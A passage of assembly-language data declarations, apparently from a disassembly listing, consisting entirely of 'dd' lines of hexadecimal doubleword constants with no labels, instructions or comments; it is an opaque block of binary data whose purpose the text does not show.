		dd 898021E5h, 1AA124BDh, 880F41C5h, 3340753Eh, 301CA23Ah
		dd 1676EF90h, 0EB53CF00h, 0B503BAAAh, 7125617Dh, 22EF595h
		dd 0B71D50B9h, 61DC8174h, 83F0CCCAh, 73DFC2C1h,	9F535838h
		dd 8109001h, 0D20A6C77h, 4F960E8h, 617DE680h, 8667813Bh
		dd 0D3DDC2B4h, 570C7895h, 9BC5650h, 0E35F1140h,	0E6D94570h
		dd 8DDE0581h, 0D2C1F669h, 0D51A7525h, 21F87779h, 9BC4077Bh
		dd 0A782A1EAh, 26B25B3Bh, 1EF97982h, 0F7815B00h, 0C28397Ah
		dd 23C31CFDh, 1E3459B5h, 2908D13Dh, 672A31DDh, 0A1AC2DE9h
		dd 4158DE4Bh, 401A41B7h, 0C08BF66Eh, 62098174h,	0F29FB40h
		dd 0B8D84ACDh, 1C4674h,	645213AFh, 470C56Ah, 85C7964Ah
		dd 1142909Dh, 5D583891h, 16151AECh, 10D1DF14h, 8D181DD1h
		dd 0CF5E9300h, 0BE071E60h, 38CE4BFEh, 1260857Eh, 1DB5333Bh
		dd 0FF20CF09h, 8B1C1694h, 0D99374BDh, 32ED6E54h, 7201E1ACh
		dd 0A902F10Dh, 7662A1A5h, 3226B92h, 0CDF357F0h,	0BF80BF12h
		dd 486686DCh, 0B06674Eh, 5E1F41B5h, 6BBF905Bh, 54FE0034h
		dd 0B8DA0248h, 20897285h, 53A02A09h, 0DB2921FDh, 18D18744h
		dd 0B10BB818h, 7F2B097Eh, 89177DE4h, 0F65FC1B5h, 0C2FEBF0Ah
		dd 280A9508h, 96D616CEh, 0ACC8AF25h, 28CC007Fh,	8D9FA65Fh
		dd 82320FEDh, 43561D02h, 0CD1D94Eh, 5B042A6h, 2EFCF1B7h
		dd 1F14235Bh, 4FE7006Dh, 0F2867EBh, 989955EFh, 0C9018333h
		dd 0F2D04A8h, 0D8F01773h, 600D077Bh, 4424ACh, 0F50EEAA6h
		dd 0B20EB4B8h, 0CF3A6D09h, 9D95E2D7h, 0E79E6D6Fh, 0DC800F32h
		dd 0D221BCB5h, 72552826h, 0B030108h, 0C07DE2E9h, 270FF2E0h
		dd 5B103980h, 0E8812FD9h, 0DB56440h, 0E12300EAh, 0EF673BA2h
		dd 0E9008CC7h, 0F8A6EE70h, 58965FD8h, 3BC0F005h, 0C4144334h
		dd 29F12200h, 2D186079h, 5F2500DBh, 7C326ABFh, 0F9135E10h
		dd 273AC18Bh, 0C4001623h, 0F78BAADAh, 46C2FDEBh, 279D341Dh
		dd 0EEE6FC4h, 32858D28h, 82DB2DC4h, 0E8611AC2h,	0B4002D7Ah
		dd 0A9C8284Fh, 127CE203h, 85C8DDCh, 0A49612F4h,	0B2B9DCBAh
		dd 23EEE55Bh, 0B58C5E4Dh, 0FB030EFh, 80C316Ch, 5A611260h
		dd 0E8EAD158h, 0DD2D4007h, 44F4B3F3h, 0E5BF6C01h, 5F3DACA3h
		dd 0E804E87Ah, 352D8C14h, 1937F56Ah, 9F389607h,	8780EFE0h
		dd 0B71450E1h, 0ABFA16E4h, 2C6F06h, 0CC8A7923h,	390F62C5h
		dd 9CF8ADFEh, 4251641Ch, 5305C083h, 0B6BA70EAh,	5AE96601h
		dd 0CD03222Eh, 8A0C5930h, 390BD1C2h, 19E1467Fh,	82240489h
		dd 5F0B4280h, 0BBFADDh,	0F5C9469Ah, 0EE16B46Fh,	0D6FAAC02h
		dd 6AC84952h, 5A7740D8h, 14081AC5h, 7B46145Eh, 0BAC9500h
		dd 0DB22D68Ah, 2027B0A0h, 5CB72541h, 20074BBBh,	8D1D989Dh
		dd 0AB8C7F44h, 9CD3BDB0h, 16465ED6h, 6BF4210Dh,	571C00FAh
		dd 9EB05FF8h, 0C233F124h, 0F2AB4CF6h, 0E9CC602h, 76D96FE9h
		dd 8FAEEC2h, 14465C5Fh,	1578EE26h, 3C5A9619h, 0D6B74D8Ch
		dd 4900F490h, 0BF66FAE2h, 258BC5E9h, 0EB086D9Dh, 0F016D628h
		dd 9DCDBAF9h, 2178EED8h, 0AB91E631h, 835E5101h,	6CF8F7BDh
		dd 12418E78h, 358524DEh, 0EB4EAEEh, 0FB305BC9h,	184C5B2Bh
		dd 74BE2760h, 71FDB7A5h, 14E02FFh, 0D0507BD7h, 5F004903h
		dd 36F67511h, 2C29E6BEh, 4F307AAh, 0B732E9F8h, 4E83B514h
		dd 5B508486h, 6F9D2C9Ch, 8D141E68h, 0FE56CAF3h,	5EA91905h
		dd 26A89FB2h, 191E1A0Ch, 41A17011h, 4D9D6834h, 47FBCA2h
		dd 0BD89D539h, 33B6E051h, 0D5BB577h, 9F98A262h,	811791A0h
		dd 210CF12Fh, 20E9352h,	0CFE48E0Fh, 0BA5F572Dh,	40F9EDABh
		dd 7D0D4666h, 0D4B99D00h, 0FD0E77Fh, 20FA5FBFh,	84A84986h
		dd 4470DF02h, 416650CCh, 0D235E516h, 0AC1FED6Fh, 877000B8h
		dd 0E28D329Eh, 0CE018116h, 31B28EF3h, 4E7423E9h, 3A5607BFh
		dd 9B0486Eh, 0ADC0C2EDh, 287314F0h, 2DD48E8Ah, 7F9A0621h
		dd 0E161E56Dh, 0FA2C890Fh, 71E4F8C2h, 1944A967h, 47088060h
		dd 53E9C116h, 0CAA63685h, 35CBCE0h, 854FA709h, 290F007Ah
		dd 0B40F79BDh, 0E1CDC929h, 1C40C2C0h, 0A30A245Fh, 0BBDE3FECh
		dd 0CEFE4660h, 0CD6700B9h, 2EE697DEh, 4D002336h, 24CC3B11h
		dd 16771464h, 0EFC38B5Eh, 0FCC04A9Ah, 284C511Dh, 0B98D8909h
		dd 0B78A2219h, 577D0FEh, 245DEBEh, 2957A16Dh, 29C8BDAFh
		dd 2B8A166Bh, 0CD90EAD8h, 0D16931h, 0C3E66212h,	948BA73Fh
		dd 29F67E01h, 939D8FC0h, 0E88F1E78h, 808E5F1Fh,	0C682BF50h
		dd 93027CFCh, 112F2EBEh, 0AD8B7314h, 80FA1FFFh,	620BE457h
		dd 7E140365h, 163FE86Bh, 1E0B5BA9h, 1E647512h, 1A5FFC27h
		dd 81F3C19Dh, 9C0FFAD2h, 32609E0h, 0CDD78F0Bh, 2CE06069h
		dd 0B30E7755h, 32BF2DF4h, 0B90E8E13h, 0B637EFE5h, 2330D5D2h
		dd 0A8CCBD33h, 9D8905CEh, 0ED5426ADh, 186E4E87h, 0FB0F2500h
		dd 0F57536A8h, 858914C1h, 5A8C2C69h, 8D10605Fh,	0EA8B2540h
		dd 48BEBAEDh, 16DF9661h, 1B9ABFC3h, 0E03532C2h,	28B5DE60h
		dd 8A058088h, 2E74B422h, 49545C4Ah, 1E9D01DCh, 0B59998BAh
		dd 8F4CD957h, 0B2D6D758h, 0FB8B8042h, 6429672Bh, 0D0106719h
		dd 0B9A9E5Fh, 99B52BD5h, 6E58B5E1h, 0A7AC2EA9h,	8FF83360h
		dd 0B64C4253h, 172C91D2h, 683F07B9h, 98021723h,	8BBB79D2h
		dd 42DBABBBh, 3D7482A8h, 83490B0Eh, 53AD6FF1h, 0B3B9F281h
		dd 81E26076h, 7C02E20Eh, 0CA8A0FCh, 0B68473AEh,	0B14E3173h
		dd 77A1222Fh, 7A681F41h, 79539C8Dh, 0FA57B8FCh,	0F4920772h
		dd 15309C82h, 0CA3394E4h, 0AC374DF8h, 2803024Fh, 5B762ABCh
		dd 0B019582h, 0DDFB2B07h, 8F61FDCDh, 0A4DAB6BEh, 660E2DBCh
		dd 0BA6CFAEBh, 9F311145h, 85C0DBC2h, 0B6718D29h, 3FFB5B61h
		dd 23580099h, 0AD0A090Fh, 87921637h, 80C0D590h,	0C722815Ch
		dd 6D0854Bh, 48BFE1D9h,	3B469578h, 0DFC1A5F0h, 7F16D714h
		dd 77BD0196h, 2F359501h, 85A1942Dh, 85852830h, 0A2B726B1h
		dd 0F08C204Fh, 0F3007BF6h, 0E89AD391h, 15B4097h, 6423FFD9h
		dd 0ED6986E5h, 53F209Ch, 1653BF88h, 600A6C33h, 4DE78135h
		dd 0C606316h, 0B426A3DDh, 0B9FA51B0h, 0E348EB05h, 0CD81674Ah
		dd 57020639h, 611F30CBh, 64E5905Fh, 0F603F5Fh, 5267454Ah
		dd 84F4BB58h, 1E7945h, 7CDACEC1h, 0A475AF14h, 0C3A8DE00h
		dd 0D8DD80D9h, 4E329061h, 4966EF7h, 0F1B58918h,	0A2BB69D5h
		dd 11414CC3h, 0B7162005h, 0ED1504F3h, 290C1802h, 0BE71BC07h
		dd 7CC71F24h, 74161546h, 0B306FB0h, 0A4BEFE2Eh,	0C8132684h
		dd 18F01D8Ch, 0A232E500h, 870840EEh, 89410026h,	3846ABB6h
		dd 5F50F52Fh, 0D89279CFh, 367895B3h, 338C01B1h,	0C18D31A5h
		dd 0C9924906h, 0C02C5B28h, 2F8E64B6h, 9CE92D5Eh, 6E8BBC89h
		dd 0BB5A803h, 0E5C85592h, 5B99C18Bh, 8B181BD1h,	50B09A01h
		dd 345F8673h, 94F3BC6Eh, 44F8272Dh, 74C80038h, 0E7D5C551h
		dd 973C5B86h, 119480DDh, 41CDF0DCh, 69A8B6E6h, 1E80B8B7h
		dd 20ADBD5Ah, 5F2E9065h, 0FEAB160Dh, 0CEC23DDAh, 0C4683FCDh
		dd 1D359531h, 0D4A74E01h, 23DE2B4Ah, 0CFE90017h, 50F543C5h
		dd 169160D4h, 11DB2404h
		dd 4BDDAE97h, 40DB48BDh, 973F7312h, 1D008651h, 0A5D089E3h
		dd 0A060F652h, 91329992h, 61D205D5h, 0B2B3B35Eh, 0B326301Dh
		dd 5BC07500h, 0A8F78D59h, 0B979812h, 6EC51419h,	0A000AAE2h
		dd 6AC0594h, 5BDC209Ch,	0EEA91669h, 97E10CD1h, 0F91AD8h
		dd 8971046Ch, 64C7D706h, 0F205D3EAh, 90426D66h,	0E0497C3h
		dd 5E575035h, 8360173Dh, 1B708269h, 5A2431ECh, 618B6458h
		dd 8E66DF90h, 0FB981B90h, 59A4C3DCh, 7F620EF4h,	700B9E65h
		dd 4502F104h, 0AAB3F18Bh, 4EBCD249h, 0C5853108h, 5002417h
		dd 0B32A08C7h, 3F6E4EC5h, 4DA72100h, 0EA94D76Dh, 2FBFE401h
		dd 523A9C93h, 5EF19A40h, 0F5D32DFFh, 0BD29CB98h, 1672754Dh
		dd 0B0CE3BE9h, 0B20E9E24h, 91D9F948h, 8B4721E4h, 0BD30649Dh
		dd 2FD51028h, 8157345Ah, 50779A8h, 0D3BB57A4h, 80169B75h
		dd 0AD7E6DAAh, 0DE8024A3h, 83908A4h, 9F85831Dh,	7DB4AC03h
		dd 0F663B476h, 4F6FD60Bh, 0E90CAD3Dh, 3AF96Eh, 291E2A74h
		dd 451378h, 0B540719Dh,	0F6F9B438h, 0E95FC209h,	0AABF75h
		dd 4313CEB8h, 0E950E3A5h, 7C07553Ch, 2E4DEEF9h,	0D54EA3F0h
		dd 0D8860152h, 0C75D9B2Dh, 2D834985h, 0E9F90D9Eh, 10090D2Fh
		dd 0F43A13A4h, 944DAC03h, 98F215C8h, 48FC57B3h,	7BD40A8Dh
		dd 0A47E70Bh, 52B08566h, 0B521D52Dh, 82CF2365h,	939D1F4Dh
		dd 56175AD9h, 80279EEAh, 0F6C07A27h, 0DD5138Bh,	17AB28Ah
		dd 0BFD1EC22h, 632C15F3h, 0A5CB29CEh, 0B850B7A4h, 8E92DD67h
		dd 304C50B2h, 62804C7Fh, 4565BDC5h, 0EF3CE992h,	1BB2F2B3h
		dd 3E9B3530h, 0B00BCD05h, 0ECA4781Ah, 0E68BF414h, 8D6E704Bh
		dd 0B37BB600h, 90BF66B8h, 71E4B212h, 8401D96Fh,	0A15F59EDh
		dd 9509C45Dh, 900BC527h, 72BE6693h, 4BF4B4C1h, 0D2838B37h
		dd 0A1BDD19Ah, 2ECBFEACh, 3F972DBAh, 112F1048h,	816D305Dh
		dd 0E4D800D7h, 1E78EE2Ah, 0F92734EFh, 0DF6D8B5Fh, 5067DF4Dh
		dd 0F308ACB0h, 0F531C0Ch, 443CA887h, 0CF030309h, 0FEA8D33Fh
		dd 81A44E70h, 6BE2F744h, 77F896Eh, 2B271494h, 15B562D8h
		dd 8B50B1A1h, 0E5163FF7h, 3B01996Fh, 0E96A111Ah, 0B819A40Dh
		dd 0D9415600h, 4CF4535h, 71E796E1h, 3BD6B38Ah, 37524B23h
		dd 430AD69Dh, 9DC11588h, 3738B0AFh, 941C0917h, 8930C583h
		dd 0CE5144A4h, 0C01A88D7h, 31EC410h, 3C1DE916h,	286FF292h
		dd 430CDE9Ch, 0B26D0FA7h, 652F5BC5h, 0A894A90Bh, 0C71E00A0h
		dd 69D01DF5h, 8B1CFC60h, 3A2D2DB5h, 700DFBFDh, 3F488653h
		dd 447A189Ah, 8310015Ch, 9A18F9B7h, 4E0EBBACh, 4134B9BDh
		dd 609036DDh, 5C9F630h,	858B3192h, 6A48B515h, 80E63E56h
		dd 4DEB48E3h, 0F57B9412h, 0F6819040h, 48E02312h, 6E4B7735h
		dd 0BB3C1042h, 4955B512h, 3BB75858h, 2C214E87h,	4B32C4C0h
		dd 76BE05C9h, 0B561AA81h, 642BEE12h, 4ECC7AB0h,	0B5D6E053h
		dd 82D6A17Ch, 1D88229Ah, 74A9F3C0h, 1E5E0240h, 5BF1E435h
		dd 7F05AB5Ch, 28B1F9E2h, 0D4B8133Dh, 37484F00h,	231C84C7h
		dd 816B0173h, 8D7649E6h, 224D6D7Dh, 0FA1CC1D5h,	6C0CED17h
		dd 31235A3Dh, 0A6EB8591h, 0FB79F07Ch, 60C418E2h, 118850FDh
		dd 47C05E8Ah, 3ED960BCh, 0F802EB09h, 7175EAA7h,	0B4DFCC5Eh
		dd 0D0E3479Eh, 2E53E41Fh, 1D23395Ch, 2CDFE2F8h,	34CFD200h
		dd 90C32B5Bh, 0E4702744h, 6D25C7E7h, 0B4ACC7F0h, 0A94484C8h
		dd 33E91994h, 7A3FF523h, 5F640087h, 0DC1A8CC2h,	40751733h
		dd 94B9B089h, 852731E2h, 0F1438951h, 15CDA7F1h,	0F483FC40h
		dd 4F07FFDh, 6D85C74Ch,	4377011Ah, 6E3F398Ch, 0AC73A71h
		dd 0BB0EEF58h, 86EE060Ah, 89C0A32Ch, 0B60CA98Dh, 0A55ED952h
		dd 0B5372Dh, 0B813FDE9h, 3D2633A4h, 18968A3Ah, 0DD6675DDh
		dd 0FE0DB0F7h, 0E6030903h, 9D29A678h, 890ED4A1h, 0A7165DCEh
		dd 0BD010540h, 0AA8E0AADh, 801EDA5Bh, 75BD8934h, 8807BE27h
		dd 0E9241461h, 0F90BE424h, 8D239007h, 82B7AAA1h, 5E75956Ah
		dd 88BB0047h, 613642BCh, 45150DB5h, 1EDEEB60h, 0F48D01DFh
		dd 8163E83Bh, 6E136B20h, 5EAD0630h, 84B09B45h, 6B809D4Fh
		dd 4ED67EEh, 292785BFh,	88C68E4Dh, 2AB8C315h, 0D7D6B617h
		dd 801FE8E0h, 0F059B70Fh, 0B8BCDBh, 9ED2C775h, 0DF81A697h
		dd 0EE96609h, 93CC8050h, 9801FA9Ah, 0F00C4524h,	241768EFh
		dd 0A2054C41h, 0F23E2D25h, 9C3E1823h, 0E56898Ah, 0A7E212E6h
		dd 2610A77Ch, 0C4E3E916h, 0C1779B69h, 604BBF99h, 0A86E6Eh
		dd 0AC0E21A0h, 0E407FC1Ah, 96F4CE2h, 0F94C0122h, 1B5D100Ah
		dd 380EB927h, 0E0BEF652h, 9BCC7DFh, 313DCADBh, 20FB604h
		dd 744D8D21h, 0DE6B2CFDh, 111D312h, 2207C8h, 4F479681h
		dd 0C3D0F7A5h, 0B75FF50Ch, 0B6416CF6h, 35DF2FA5h, 338480E4h
		dd 0E9958B9Dh, 8D6507FBh, 66E66012h, 0B5EC86E0h, 201ECC26h
		dd 2420791Ch, 0E65E183h, 2F1C2585h, 9EE0054Dh, 1E960B18h
		dd 9344F259h, 84FE1143h, 29ECB749h, 2A986501h, 0B4FD50DAh
		dd 408DF020h, 0BE91E92Eh, 2C5D9600h, 73B1E640h,	0C0150A5Ch
		dd 9C6EF2BBh, 0B7FF2D23h, 0DA78B51h, 7CB2C200h,	614C2A4Dh
		dd 80C604B4h, 598DD1D2h, 48C26A20h, 32883791h, 0DEBCCA24h
		dd 559519D1h, 5961E452h, 71C01CFh, 0D0C3AEDCh, 57E8FECDh
		dd 0E9764C1Bh, 7E30924Ch, 0C002F447h, 8D297328h, 1508DEC5h
		dd 1276508Bh, 751F199Dh, 79DDA307h, 8A36688Bh, 0E6195B15h
		dd 60DB34D5h, 0FCF15D36h, 0B6E2FFBBh, 0E4F010E1h, 0A4D3EF6h
		dd 43B6D20Ch, 0A0DF34A0h, 39381A90h, 0FC8A8160h, 0F91BD29h
		dd 0D78BB38Eh, 35950B61h, 5B1A3225h, 28DE7BD6h,	450C2C89h
		dd 6E6E3A1Dh, 0CA79E30Eh, 66024C60h, 5A2A64BBh,	5E98378Bh
		dd 22B2FF53h, 0DE8A1502h, 96673F8Bh, 0E7C94A45h, 0E6160E40h
		dd 9C60F31Bh, 6B0E1CE2h, 722075B6h, 0FDA033B9h,	102EC458h
		dd 5E2410DDh, 399D053Fh, 0ED59E41Ah, 0F890391h,	1AF59A81h
		dd 0D97040E3h, 2CA8A42Bh, 0F69801EDh, 9300A3E6h, 0E8815414h
		dd 627B7EAFh, 1A6D5835h, 18C4C467h, 0E4204A61h,	0D9D65EDh
		dd 0CD3DA5D8h, 0F8B5C0B9h, 0BE604101h, 2172790Ch, 40DDBD70h
		dd 0BF91612Ch, 12076DE2h, 1C11671Fh, 38DDB380h,	320B5E0Ch
		dd 0F07FCA4Dh, 201049AAh, 6FF728CBh, 4E2540D8h,	7F74A5C7h
		dd 0DA813902h, 6AEC1FF2h, 81C4370Bh, 37877FB4h,	0AD89410Ch
		dd 85C7011Dh, 6FD2202Dh, 837E1C0Fh, 0F977EB84h,	352988C1h
		dd 94766102h, 9E9C00DCh, 491B97B9h, 365C7427h, 31551072h
		dd 6107EB02h, 0E5F2E99Dh, 0C0EE6D95h, 5EF4CED3h, 9416EA09h
		dd 461BE0DBh, 0C428A511h, 6E7E6018h, 0F15F4856h, 4FEBC100h
		dd 0FA251C8Fh, 0A108AB01h, 0A4ACDAC6h, 71D2D4E8h, 7E4705Ch
		dd 0F53134CEh, 0B327501Bh, 5BF2D129h, 2AC7DD07h, 0CFCF17E6h
		dd 0DB6743DFh, 13E85A6h, 0DDB48700h, 0D9202352h, 0E9899E70h
		dd 2F985CF6h, 8230B555h, 3CC4BEADh, 91A053F7h, 8153072Eh
		dd 2811A2E7h, 8DF95F35h, 45507863h, 45B88119h, 0A1B2EA4Ah
		dd 2510B458h, 4C2120Bh,	0AD95E802h, 0C7C02432h,	0BB171F00h
		dd 13C8EDCAh, 553D064h,	0EA9F801Ah, 1188A3B6h, 0CD081AA1h
		dd 0BD0BC09Eh, 2F992771h, 0F11819F1h, 0B815EE06h, 0B0A4FF46h
		dd 0D0B55F7Ch, 0EEDF8106h, 58A4CF00h, 11858D61h, 9EAC7D13h
		dd 6500DC61h, 72B1646Fh, 9790F5BDh, 41503B87h, 0E7FD71BFh
		dd 81FE62A0h, 0CE6E4B62h
		dd 0E8B51212h, 99479080h, 18A5412Ah, 0DE9BE009h, 3340599Dh
		dd 0AE905E61h, 3FA62157h, 0AB600B73h, 0D6F15078h, 0ECEE5600h
		dd 773A5Dh, 1ADD752Eh, 0AED07A3h, 53FDA900h, 6697D4D1h
		dd 0B1B30BBAh, 0BC4D905Fh, 3A94A7C0h, 1EB101D8h, 0FCE8BE6h
		dd 7B287288h, 79FF9A2Eh, 93B1A10h, 692E7D11h, 8277B751h
		dd 0AAB1AC3Bh, 54F97141h, 8387A8BEh, 989A46EDh,	0E77D1Fh
		dd 63F8677Eh, 1179A884h, 87D4F64h, 1999A181h, 0D494A06h
		dd 3E9B4A1Ah, 253CB280h, 8E5E0FD4h, 2095B8C8h, 9CA114C5h
		dd 466FE01h, 0C865D845h, 0C01BA87Eh, 0D05DA9BAh, 0FE1EC01Ch
		dd 4352D668h, 6056D41Ch, 46076152h, 5F509AD2h, 12240481h
		dd 0A85754FCh, 8DABD73Fh, 4454CC33h, 4EDAB000h,	45873DAEh
		dd 0ADEE0219h, 28DB509h, 95642ED2h, 62F860A9h, 0F63B3380h
		dd 0BF03E2ACh, 75BA8D1Ah, 0EB67FBC1h, 384A196h,	0DFBF6841h
		dd 2E71C424h, 0F491AB69h, 411A929Fh, 8F513988h,	4760D0FFh
		dd 0C12E27E2h, 1D9C49h,	5ACC8A51h, 0B83C1058h, 8467DE4Eh
		dd 0FD83FAD2h, 0D10624CBh, 56160A98h, 61091CE5h, 8909C091h
		dd 7EC39195h, 3EA1B5B1h, 0D4EE1B11h, 8C1AE830h,	0D5164D01h
		dd 0EB700C6Ah, 0B6C8B240h, 91E84ECFh, 0F0B5E2A1h, 0AF91508Ah
		dd 0FBBA5318h, 0B9C0F359h, 0A44714DEh, 15533510h, 0C1230A00h
		dd 58C0FCADh, 0EE53A400h, 0AF283C87h, 805606B9h, 0A691D4CBh
		dd 2D798512h, 2D291628h, 0EA080D9Dh, 44D352FDh,	0A0413A51h
		dd 31000AC9h, 5DD0D19Dh, 0C18468FFh, 0E57E054Bh, 53AD738Ch
		dd 0DF34CD28h, 0C004DB57h, 6A98A556h, 88AF1A31h, 3A646C51h
		dd 29EB5956h, 8A80A656h, 826296A2h, 0E05E0ECAh,	0AA20D1E6h
		dd 973A998h, 2952F60Bh,	0F67D6444h, 35AB009Bh, 1CD7A5EFh
		dd 0F813E168h, 44C89E66h, 457C0061h, 71097460h,	0E300C214h
		dd 3481C3C4h, 495D824h,	0BD234A79h, 5F40BCF1h, 389540EAh
		dd 8AEB3D1h, 7A003573h,	681188B1h, 34958B05h, 60D3254Dh
		dd 39BD01E8h, 9812242h,	7E2FB99Dh, 9A9388B8h, 92648F7Bh
		dd 0D78D970Ah, 0D75154A8h, 0E3E009ECh, 221429F1h, 606C85A0h
		dd 728737FCh, 54F920B5h, 6D0129EDh, 4AA5783Bh, 9D304989h
		dd 686102C1h, 0C6AE464Dh, 2240817Eh, 0E752780h,	0F52F6BACh
		dd 4414C320h, 5A09E5F0h, 0A1EF7132h, 572A36ABh,	0DC745EFAh
		dd 5F6FE601h, 706EF0E7h, 0EECA9297h, 6E6A0489h,	365B0053h
		dd 0A7153756h, 964B5021h, 0B91E4081h, 0F865541Fh, 5D92D7AFh
		dd 5834D3FFh, 4E318720h, 1DA16011h, 0B920FA49h,	0D4305225h
		dd 0E040505Eh, 0A8C8FD2Ch, 43A54F2Dh, 1319BD1Fh, 3ACC89E4h
		dd 0F2DB4456h, 0F8179D85h, 0C64F80E8h, 2C5D4E1Bh, 398C9894h
		dd 0C51AECA4h, 0B8B6FD49h, 43DA004Fh, 846895A2h, 8E49EF64h
		dd 4D6D00B8h, 526002FAh, 259D1289h, 0B2A2571Ch,	906E2D21h
		dd 0FCF5B8Bh, 42F5EA27h, 0D173F140h, 8B1B0874h,	81318F0Fh
		dd 0F26615Eh, 2CE2F82Bh, 1B911A58h, 0C1CDC309h,	0EA8CA1C5h
		dd 9BB40002h, 1AE6CBFAh, 2202305Eh, 0A36F3A25h,	0DBE788CAh
		dd 0B4B7D5AFh, 2E301A00h, 128DAD98h, 8DDAD783h,	0CBAA3110h
		dd 0A502DEAh, 0DF046A28h, 68744A00h, 0DB0326E8h, 0C52549B5h
		dd 0FCE9180Eh, 0E117A693h, 206A19ACh, 14C91751h, 0C6D41A00h
		dd 0F8827802h, 0F0813A74h, 447E7202h, 8E5DE542h, 0AA6B1017h
		dd 23684148h, 42EE5917h, 6709C515h, 519BEF12h, 267403F5h
		dd 67C00F60h, 7E7297A6h, 5A8B861Bh, 0F95010C2h,	95FF050Bh
		dd 8FAD27C9h, 0DC3126E8h, 2E05549Fh, 928C622h, 296D97DFh
		dd 4DA328E0h, 0C184A291h, 8C3D1779h, 9590137h, 0B6B157C6h
		dd 0EF05CFACh, 4FCDBA4Fh, 0BFA02A8h, 8A2740B9h,	56B21B02h
		dd 0EA9156E4h, 78727A80h, 0B93292h, 0E2CE9973h,	0E6A1A659h
		dd 2D9964B8h, 66525000h, 26A5A8B9h, 60EF310Fh, 57DC569h
		dd 7BEE7F00h, 8509304Bh, 3DC7A74h, 2CB156B8h, 678F585Ah
		dd 860F52FCh, 90C296DCh, 0B9907757h, 920021FCh,	540C0EC1h
		dd 2C3556h, 468F23D8h, 8B68CB94h, 5A59FA13h, 0E2EC1283h
		dd 63375790h, 0CBB84000h, 2C95E1ACh, 89357F2h, 5A1806C9h
		dd 2FC4F65Eh, 91770B6Ah, 40C229D5h, 26ECF54Fh, 131C9752h
		dd 0A6C513D6h, 0DC79F3AFh, 84D1F4C3h, 0DF077A18h, 7CEEE2DAh
		dd 0D58A0962h, 0B5AA5F0Bh, 641293Bh, 85E0B58Dh,	8A50F904h
		dd 968589D4h, 87E035E6h, 504B9C70h, 4495F520h, 9DF00D3h
		dd 0AF4DA9BAh, 5706E294h, 9EF62DF5h, 0DC68B4A5h, 3F3E457Eh
		dd 0B19E8F1Eh, 0C1DC3964h, 956B497Bh, 0A7C414Ah, 5E9A02DCh
		dd 0B6E4D4B0h, 0FA410CE2h, 17F03295h, 0CCEAC00Bh, 5D208DB6h
		dd 0D3E9241Fh, 9D3182BEh, 9CC0FB5h, 14C4AC85h, 0B5314F60h
		dd 8B7B6567h, 0F91C9269h, 0FD9E0021h, 31D66E2h,	0B8E4F600h
		dd 5596AF9Fh, 2046258Dh, 0FA00D551h, 19B0D9C2h,	158C220Fh
		dd 8F3AE858h, 43E3801Dh, 9BA1F5h, 11A84CD1h, 0C02A3E08h
		dd 2B8F5F4Ch, 3B78DA04h, 0D11F00B1h, 6BFD3188h,	81490F1Eh
		dd 2BCB8FEDh, 20A24682h, 11B72115h, 160E883Ch, 0DCA461F1h
		dd 51F82EBFh, 34BC6041h, 5BF6EF52h, 0F9059F8h, 192F9D99h
		dd 0EC51FC52h, 0B6102C84h, 0EB25E989h, 0EAED5505h, 0CCC23E0h
		dd 20D790B2h, 80182275h, 84C2207Eh, 895FC2BCh, 0E586DB5h
		dd 0A5F6604Eh, 0BABB0E7h, 4504839Bh, 824DFA0Dh,	1DE551C1h
		dd 8B074B05h, 56051FA4h, 120376E0h, 3282E915h, 0BEA4FD69h
		dd 0E123B640h, 68847FE5h, 2A83135h, 69B3DBBFh, 0AFC64DC3h
		dd 0E4BA82D9h, 8131E87Eh, 1C40EE1h, 0F425090h, 0D9B2FBBFh
		dd 1102374h, 441D8D50h,	0FEE4D82Bh, 952F5875h, 0C240E8EDh
		dd 8F9416CDh, 8467F05Ah, 28881045h, 0B9002649h,	46862FBAh
		dd 8BF359E9h, 82388012h, 4C5E7B88h, 1D21372Dh, 0B05300D4h
		dd 2BB60933h, 0B90052EAh, 7CB2DC69h, 0A91CE959h, 0D6523D49h
		dd 40385E48h, 5A55F176h, 12AB4205h, 50D28DA4h, 3B8A0F1Fh
		dd 12A16AE7h, 0FBAA331Dh, 665CC82Dh, 2F12CCA8h,	418AC9DAh
		dd 0BF40D772h, 5BA143DAh, 8031DB40h, 0FF54839Ch, 15D70534h
		dd 0C0AB2C7h, 0E9B2CAE2h, 0BD83DDC2h, 839590Dh,	77AF8A84h
		dd 0E9B753A0h, 0FC0A8F39h, 8EC7362Ah, 932DD08h,	5A989059h
		dd 0A0007A07h, 6653DC3Ah, 1D8EE32Ch, 8A38FDECh,	188360CDh
		dd 61D006FEh, 0BA0103B8h, 25094F69h, 2E6C0390h,	0B5704594h
		dd 8D9C882h, 0D130600Bh, 4EF3B650h, 0B7B32800h,	0D902BA99h
		dd 0CEE215F8h, 0DC2F7490h, 0E6E9762Dh, 0CF58025Fh, 0AA55413Ah
		dd 30C41B62h, 0A88490A2h, 0B69042E5h, 0B9CCA5h,	22589EADh
		dd 0AA4B25BDh, 2F8A1A00h, 0E39123DAh, 0DB904E5Dh, 6D1B80B4h
		dd 131CBE60h, 0C20A5779h, 90756108h, 4F0E62h, 2FD68162h
		dd 0EAE280F6h, 9285948h, 9F928CAh, 0E45747E1h, 715A6016h
		dd 80ABB987h, 7D810C0h,	0D613C408h, 1100FB4h, 7671C086h
		dd 0EA306304h, 3D34001Dh, 6D0AC9C5h, 1CB0B7DEh,	1786B904h
		dd 0DC82F36h, 1E668A33h, 0F8A76C9Dh, 0DE025EE5h, 0CC498085h
		dd 1864E5D2h, 1AC610B7h, 914F9D01h, 40D914h, 958027Ah
		dd 0AA33A1BDh, 8D51F4h,	0CE15AC5Fh, 4D38D8A6h, 0F5A00E8h
		dd 1F3816E6h, 0DF112DEh, 877101EEh, 203A1AC5h, 0D92CB960h
		dd 83169FCEh, 1AADAF61h, 0C1EBC404h, 140C80C7h,	0B0D2DCF8h
		dd 8DC43080h, 0D4E12E8h
		dd 0DB7146A0h, 2D002B69h, 5497CCDCh, 12F823B3h,	304349AFh
		dd 16CA4E8h, 0EAB76E04h, 74E27225h, 84802E3Bh, 0F4CBE059h
		dd 0A10FB185h, 64E23BFFh, 0D9855A49h, 8A90DE0Dh, 2995856Ch
		dd 0A08BA6D3h, 72E59928h, 0EA8A25F9h, 308DF46h,	280C758Dh
		dd 1775982Bh, 0E21F39B5h, 5684168Bh, 30B0FEB7h,	83390A3Fh
		dd 66C09E6Ah, 9531BF44h, 2D666186h, 9572B501h, 4EF1A9F4h
		dd 0C2158836h, 0C3610B45h, 0F8A542D7h, 676DBCCAh, 1441EBE0h
		dd 0EFD04D2h, 0D47824B0h, 288DE190h, 689B5B6Ah,	0CA1BC282h
